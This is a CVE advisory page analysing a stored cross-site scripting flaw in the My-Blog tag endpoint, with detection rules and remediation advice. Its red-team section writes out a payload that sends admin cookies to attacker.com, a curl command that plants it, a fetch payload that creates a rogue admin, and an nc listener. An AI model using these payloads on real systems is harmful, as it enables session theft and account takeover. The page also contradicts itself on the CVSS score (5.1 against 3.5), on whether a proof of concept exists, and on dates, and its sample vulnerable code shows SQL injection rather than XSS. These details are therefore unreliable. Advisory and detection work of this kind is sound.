☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.1 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-9101

CVE-2025-9101 Cross-Site Scripting in Zhenfeng13
📅 PUBLISHED: 2025-08-18 02:02 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.25%
👁️
0.25% probability
6.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-9101 is a stored Cross-Site Scripting (XSS) vulnerability identified in the Zhenfeng13 My-Blog application, up to version 1.0.0. The flaw resides in the /admin/tags/save endpoint of the Tag Handler component, where user-supplied input is not properly sanitized before being stored and later rendered in the admin panel. An attacker can inject arbitrary JavaScript code, which will execute in the context of an authenticated administrator's browser session. This can lead to session hijacking, credential theft, or defacement of the admin interface. The vulnerability is remotely exploitable, requires user interaction (an admin visiting the affected page), and has a low CVSS score of 3.5 due to the need for authenticated context and limited direct impact on confidentiality or availability. No official patch has been released as of this analysis.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a custom PHP/JavaScript application (My-Blog) and is not associated with any specific package manager (NPM, PyPI, Go, Ruby). The risk is limited to direct deployments of the application. No known supply chain compromise has been identified.

CVSS Breakdown & Threat Level

  • CVSS Score: 3.5 (Low)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed to inject the payload.
  • User Interaction (UI): Required (R) – An admin must visit the affected page.
  • Scope (S): Unchanged (U) – The vulnerability does not affect other components.
  • Confidentiality (C): None (N) – No direct data exposure.
  • Integrity (I): Low (L) – Limited ability to modify content or execute actions.
  • Availability (A): None (N) – No impact on service availability.

Threat Level: Low. The attack requires social engineering to lure an admin to the vulnerable page, and the impact is limited to the admin session. However, in a real-world scenario, an attacker could chain this with other vulnerabilities or use it to steal admin credentials.

Deep Dive & Mechanics

The vulnerability exists in the /admin/tags/save endpoint, which is used to create or update tags in the blog's admin panel. The application likely stores the tag name or description in a database without proper sanitization or output encoding. When an admin views the list of tags (e.g., via /admin/tags), the stored payload is rendered in the browser, executing the injected script.

Root Cause: Lack of input validation and output encoding. The application does not escape HTML entities or strip JavaScript event handlers before storing user input.

Attack Flow:

  1. Attacker identifies the /admin/tags/save endpoint (no authentication required for submission).
  2. Attacker crafts a payload, e.g., <script>alert('XSS')</script> or a more malicious payload to steal cookies.
  3. Attacker submits the payload via a POST request to /admin/tags/save.
  4. The payload is stored in the database.
  5. An authenticated admin visits the tag management page (e.g., /admin/tags).
  6. The browser renders the stored payload, executing the attacker's script.
  7. The script can exfiltrate session cookies, perform actions on behalf of the admin, or deface the page.

Why it's dangerous: Even though the CVSS score is low, the attack can be automated and combined with other techniques (e.g., CSRF) to achieve higher impact. The lack of authentication for the injection point makes it easy for attackers to plant payloads.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical fix.

Vulnerable Code (PHP example):

// /admin/tags/save.php
$tag_name = $_POST['tag_name'];
$sql = "INSERT INTO tags (name) VALUES ('$tag_name')";
mysqli_query($conn, $sql);

Patched Code (PHP example):

// /admin/tags/save.php
$tag_name = htmlspecialchars($_POST['tag_name'], ENT_QUOTES, 'UTF-8');
$stmt = $conn->prepare("INSERT INTO tags (name) VALUES (?)");
$stmt->bind_param("s", $tag_name);
$stmt->execute();

Explanation: The patched code uses htmlspecialchars() to encode HTML entities and prepared statements to prevent SQL injection. Output encoding should also be applied when rendering the tag name in the admin panel.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • Target running Zhenfeng13 My-Blog <= 1.0.0.
  • Network access to the target.
  • No authentication required for the injection point.

Exploit Steps:

  1. Craft Payload: Create a malicious JavaScript payload. Example to steal cookies:
    <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
    
  2. Submit Payload: Use curl or a browser to send a POST request to /admin/tags/save:
    curl -X POST http://target.com/admin/tags/save -d "tag_name=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>"
    
  3. Wait for Admin: The attacker must wait for an authenticated admin to visit the tag management page.
  4. Exfiltrate Data: The admin's browser will redirect to the attacker's server with the cookie in the URL.

Advanced Payload: Use a payload that performs actions on behalf of the admin (e.g., create a new admin user):

fetch('/admin/users/save', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'username=hacker&password=evil&role=admin'})

Blue Team (Defender)

Detection:

  • Monitor logs for POST requests to /admin/tags/save with suspicious parameters (e.g., <script>, onerror=, javascript:).
  • Use WAF rules to block common XSS patterns.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

  • Search for stored XSS payloads in the database (e.g., SELECT * FROM tags WHERE name LIKE '%<script>%').
  • Review web server logs for unusual outbound connections from admin IPs.

Lab Setup:

  • Deploy My-Blog in a Docker container.
  • Use Burp Suite or OWASP ZAP to intercept and modify requests.
  • Set up a listener (e.g., nc -lvnp 80) to capture exfiltrated data.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /admin/tags/save containing <script>, onerror, javascript:, or base64-encoded strings.
    • Outbound HTTP requests from the admin panel to unknown external IPs (e.g., attacker's server).
  • Host:
    • Database entries in the tags table containing HTML/JavaScript code.
    • Unexpected admin actions (e.g., new user creation, configuration changes) originating from the admin session.
  • Logs:
    • Web server logs showing POST /admin/tags/save with suspicious payloads.
    • Browser console errors related to CSP violations (if CSP is enabled).

Detection Engineering

YARA Rule

rule CVE_2025_9101_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting /admin/tags/save in My-Blog"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9101"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /javascript\s*:\s*/i
        $xss4 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: XSS Payload in POST Request to /admin/tags/save
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS payloads in POST requests to the vulnerable endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url: /admin/tags/save
        http.body|contains|all:
            - '<script'
            - '>'
    condition: selection
falsepositives:
    - Legitimate use of HTML in tag names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9101 XSS Payload in /admin/tags/save"; flow:to_server; content:"POST"; http_method; content:"/admin/tags/save"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Tag Handler: If not needed, remove or disable the /admin/tags/save endpoint.
  2. Input Validation: Implement strict input validation on the server side. Reject any input containing HTML tags or JavaScript.
  3. Output Encoding: Use htmlspecialchars() or equivalent to encode all user-supplied data before rendering in the browser.
  4. Content Security Policy (CSP): Add a CSP header to restrict script execution:
    Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
    
  5. Web Application Firewall (WAF): Deploy a WAF (e.g., ModSecurity) with rules to block XSS payloads.

Long-Term Fix:

  • Upgrade to a patched version of My-Blog once available.
  • Conduct a full security audit of the application.
  • Implement a secure development lifecycle (SDLC) with automated SAST/DAST scanning.

Workaround:

  • Restrict access to the admin panel via IP whitelisting or VPN.
  • Use HTTP-only cookies to prevent JavaScript from accessing session cookies.

Valters IT – Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-9101/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.